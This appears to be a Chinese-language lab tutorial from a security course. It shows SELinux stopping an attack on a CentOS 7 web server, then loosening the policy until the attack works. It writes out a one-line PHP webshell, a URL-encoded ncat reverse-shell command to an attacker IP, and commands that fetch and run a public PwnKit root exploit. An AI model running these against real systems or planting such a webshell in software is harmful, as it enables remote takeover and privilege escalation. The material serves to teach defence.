• SELinux 是一套複雜的防禦機制，但好不好用就見仁見智。不過這邊先就我自身慘痛的經歷來說明，讓大家感覺一下這套機制有多嚴苛與安全。

• 先用 CentOS 7來建立個簡單的測試環境，裡面會安裝一個 web server 跟加入 webshell 來進行測試。

#確認 SELinux 有啟動
sestatus ; 

# 關閉防火牆的阻擋
sudo systemctl stop firewalld ;

sudo yum install httpd php -y ;

# 讓 httpd 服務設定生效
sudo systemctl enable httpd ;

# 啟動 httpd 服務
sudo systemctl start httpd ;

sudo vim /var/www/html/webshell.php ;

• 新增的 websehll 內容如下 :

<?php
    system($_GET['ant']);
?>

• 前置部署大功告成，現在有一個 webshell 可以使用，請試著利用它並且提權看看。使用 Ubuntu 當作攻擊機，並且使用 reverse shell。

Server_IP="192.168.56.116"
Attack_IP="192.168.56.101"

#確認路徑位址
curl http://$Server_IP/webshell.php?ant=pwd ;   

#確認身分
curl http://$Server_IP/webshell.php?ant=whoami ; 

#開新視窗監聽，等待 reverse shell 回來
nc -lp 8888 ; 

#因為不是透過瀏覽器送出去的，所以後面的部分要做 URL encode
curl "http://$Server_IP/webshell.php?ant=ncat%20-e%20%2Fbin%2Fsh%20$Attack_IP%208888" ; 

• 這時候會發現失敗囉，所以是網路的問題嗎? 稍微來 debug 一下。切換到受害者的機器，透過以下指令確認。

Server_IP="192.168.56.116"
Attack_IP="192.168.56.101"
ncat -e /bin/sh $Attack_IP 8888 ;

• 這時候會發現網路應該是可以通的吧(?)，所以感覺有甚麼特殊的機制把這個連線擋掉了。回到受害機器觀察某個神祕的檔案。

sudo su ;
tail -f /var/log/audit/audit.log ; 

# 再次測試一次回打 reverse shell 的連線

• 此時會發現一個有趣(?)的訊息，似乎意味著連線是失敗的。
  type=AVC msg=audit(1688090200.170:255): avc: denied { name_connect } for pid=4369 comm="ncat" dest=8888 scontext=system_u:system_r:httpd_t:s0 tcontext=system_u:object_r:unreserved_port_t:s0 tclass=tcp_socket permissive=0

• 這段訊息中的 system_u:system_r:httpd_t:s0 算是最有趣的，這個格式以後再說。但之後看到這個格式就可以猜到應該是 SELinux 搞的鬼。這邊先說要怎麼解決。

• 先來安裝一些輔助工具，像是 sesearch、getfattr 等指令。

sudo yum install setools-console attr  -y ;
sudo yum install setroubleshoot-server -y ;

# 顯示最近觸發的 AVC 規則內容
sudo ausearch -m AVC -ts recent ; 

# 顯示觸發內容的相關資訊，這邊會包含修復建議，大部分都照著做就可以了
sealert -l "*" ; 

• If you believe that ncat should be allowed name_connect access on the port 8888 tcp_socket by default.
  Then you should report this as a bug.
  You can generate a local policy module to allow this access.
  Do
  allow this access for now by executing:

sudo ausearch -c 'ncat' --raw | sudo audit2allow -M my-ncat ;
sudo semodule -i my-ncat.pp ;

# 然後在執行一次 web shell 的回打流程, 會發現回打成功

• 目前先解決了 reverse shell 回連問題，但是真的可以提權嗎? 接著來試試看 pwnkit 腳本看看。

cd /tmp ;
git clone https://github.com/arthepsy/CVE-2021-4034.git ;
cd CVE-2021-4034 ;
gcc cve-2021-4034-poc.c ;
whoami ;
./a.out ; 

#提權失敗QQ
whoami ;  

• 此時有沒有一種原地跳起來，然後又落回原地的感覺，根本沒提到權啊。再次去看一下 /var/log/audit/audit.log 底下的資料。

• type=AVC msg=audit(1688093181.856:565): avc: denied { execute_no_trans } for pid=7561 comm="sh" path="/tmp/CVE-2021-4034/a.out" dev="dm-0" ino=36183933 scontext=system_u:system_r:httpd_t:s0 tcontext=system_u:object_r:httpd_tmp_t:s0 tclass=file permissive=0

• 又是 SELinux 搞的鬼~~ 哪這次又要怎麼修呢?

# 顯示最近觸發的 AVC 規則內容
sudo ausearch -m AVC -ts recent ;

# 顯示觸發內容的相關資訊，這邊會包含修復建議，大部分都照著做就可以了
sealert -l "*" ; 

• If you want to allow httpd to tmp exec
  Then you must tell SELinux about this by enabling the 'httpd_tmp_exec' boolean. Do

sudo setsebool -P httpd_tmp_exec 1 ;

#再用一次提權做做看
whoami ;
./a.out ; 

#提權成功， root!!!
whoami ;  

• 有沒有突然覺得 SELinux 很安全，但是要開放例外真的也很難處理。因為它的開放方式也是讀取被阻擋的日誌資訊再決定要開放的項目。

• 今日總結 :

  • 本日回顧 :
    • SELinux 是一個相當複雜的防禦機制，基本上我遇到再維運的經驗第一個都是關掉 SELinux，所以對它沒有很深的感觸。那這次透過這個簡單的小範例讓大家瞭解一下這個機制的有趣之處。之後有機會再來說明它內部的標籤機制以及如何套用到容器防護上面。
  • 次日預告 :
    • 防禦篇的部分會先暫緩，明天會說明期中考答案的部分。首先會先公布作業3-1、3-2的解答，接著再說明如何解答 quiz0 ~ quiz3。